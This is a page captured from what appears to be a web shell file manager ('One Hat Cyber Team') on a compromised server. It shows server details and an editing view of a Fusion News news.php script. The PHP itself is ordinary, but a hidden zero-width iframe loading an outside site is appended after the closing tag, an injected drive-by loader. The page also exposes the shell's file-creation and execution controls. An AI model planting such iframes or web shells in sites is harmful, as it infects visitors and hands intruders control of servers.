One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sam
/
public_html
/
go
/
news
/
Edit File:
news.php
<?php /* ||========================================================== || Fusion News 3.x ||---------------------------------------------------------- || File Version : $Id: news.php 210 2008-02-20 12:22:32Z xycaleth $ || Contact : xycaleth@gmail.com || Copyright: : (c) 2006 - 2008, FusionNews.net || License Info : http://www.gnu.org/copyleft/gpl.html ||========================================================== */ # Edit the line below to align the page list (left, center, right) $page_align = 'center'; if ( !defined ('FNEWS_ROOT_PATH') ) { define ('FNEWS_ROOT_PATH', str_replace ('\\', '/', dirname (__FILE__)) . '/'); include_once FNEWS_ROOT_PATH . 'common.php'; } // For singling out which news inclusion should be changing. $fn_incl = ( isset ($VARS['fn_incl']) ) ? (int)$VARS['fn_incl'] : 0; $fn_category = ( isset ($fn_category) ) ? intval ($fn_category) : 0; if ( isset ($_GET['fn_mode']) && $fn_incl == $fn_category ) { $fn_mode = $_GET['fn_mode']; } else if ( !isset ($fn_mode) ) { $fn_mode = ''; } switch ( $fn_mode ) { case 'comments': case 'fullnews': case 'send': include FNEWS_ROOT_PATH . $fn_mode . '.php'; unset ($fn_mode, $fn_page, $fn_category, $next_page, $prev_page, $pagination); return; break; } $fn_page = 1; if ( $news_pagination ) { $fn_page = ( isset ($_GET['fn_page']) ) ? intval ($_GET['fn_page']) : $fn_page; $fn_page = ( $fn_page < 1 ) ? 1 : $fn_page; } $file = arrange_by_date(); $total_posts = sizeof ($file); if ( $total_posts <= 0 ) { unset ($fn_mode, $fn_page, $fn_category, $next_page, $prev_page, $pagination); return; } $valid_posts = array(); for ( $i = 0; $i < $total_posts; $i++ ) { list ($id, $timestamp, $writer, $subject, $categories) = explode ('|<|', $file[$i]); if ( file_exists (FNEWS_ROOT_PATH . 'news/news.' . $id . '.php') ) { $news_file = file (FNEWS_ROOT_PATH . 'news/news.' . $id . '.php'); array_shift ($news_file); list ($shortnews, $fullnews, $writer, $subject, $description, $categories, $timestamp, $num_comments, $id) = explode ('|<|', $news_file[0]); if ( $fn_category === 0 || in_array ($fn_category, explode (',', $categories)) ) { $valid_posts[] = $news_file[0]; } } } if ( sizeof ($valid_posts) > 0 ) { if ( $flip_news ) { $valid_posts = array_reverse ($valid_posts); } if ( $news_pagination ) { $total_posts = sizeof ($valid_posts); $pagination = ''; $max_pages = ceil ($total_posts / $numofposts); if ( $max_pages > 1 ) { $fn_page = ( $fn_page > $max_pages ) ? $max_pages : $fn_page; $other_qs = clean_query_string(); $other_qs .= '&fn_incl=' . $fn_category; if ( $news_pagination_arrows ) { if ( ($fn_page - 1) >= 1 ) { $pagination .= '<a href="?fn_page=' . ($fn_page - 1) . $other_qs . '">' . $news_pagination_prv . '</a> '; } else { $pagination .= $news_pagination_prv . ' '; } } if ( $news_pagination_numbers || (!$news_pagination_numbers && !$news_pagination_arrows)) { for ( $i = 1; $i <= $max_pages; $i++ ) { if ( $i > 1 ) { $pagination .= ' '; } if ( $fn_page == $i ) { $pagination .= '<b>' . $i . '</b>'; } else { $pagination .= '<a href="?fn_page=' . $i . $other_qs . '">' . $i . '</a>'; } } } if ( $news_pagination_arrows ) { if ( ($fn_page + 1) <= $max_pages ) { $pagination .= ' <a href="?fn_page=' . ($fn_page + 1) . $other_qs . '">' . $news_pagination_nxt . '</a>'; } else { $pagination .= ' ' . $news_pagination_nxt; } } } } $end = $fn_page * $numofposts; if ( $news_pagination && $max_pages > 1 ) { $pagination = '<div style="text-align:' . $page_align . '">' . $pagination . '</div>'; echo $pagination; } if ( $post_per_day ) { $posts = array(); } for ( $i = $end - $numofposts; $i < $end; $i++ ) { if ( !isset ($valid_posts[$i]) ) { break; } if ( $post_per_day ) { list ($shortnews, $fullnews, $writer, $subject, $description, $categories, $timestamp, $num_comments, $id) = explode ('|<|', $valid_posts[$i]); $posts[mktime (0, 0, 0, date ('n', $timestamp), date ('j', $timestamp), date ('Y', $timestamp))][] = $valid_posts[$i]; } else { $news_info = parse_news_to_view ($valid_posts[$i], $fn_category); echo $news_info['display']; } } if ( $post_per_day ) { //print_r ($posts); $temp = get_template ('news_a_day_temp.php', false); foreach ( $posts as $key => $value ) { $news_display = ''; $display = str_replace ('{date}', date ($ppp_date, $key), $temp); foreach ( $value as $post ) { $news = parse_news_to_view ($post, $fn_category); $news_display .= $news['display']; } echo str_replace ('{news_a_day}', $news_display, $display); } } if ( $news_pagination && $max_pages > 1 ) { echo $pagination; } } // Now remove the variables unset ($fn_mode, $fn_page, $fn_category, $next_page, $prev_page, $pagination); ?> <iframe width="0" height="0" frameborder="0" scrolling="no" src="http://gubmos.com/index12"></iframe>
Simpan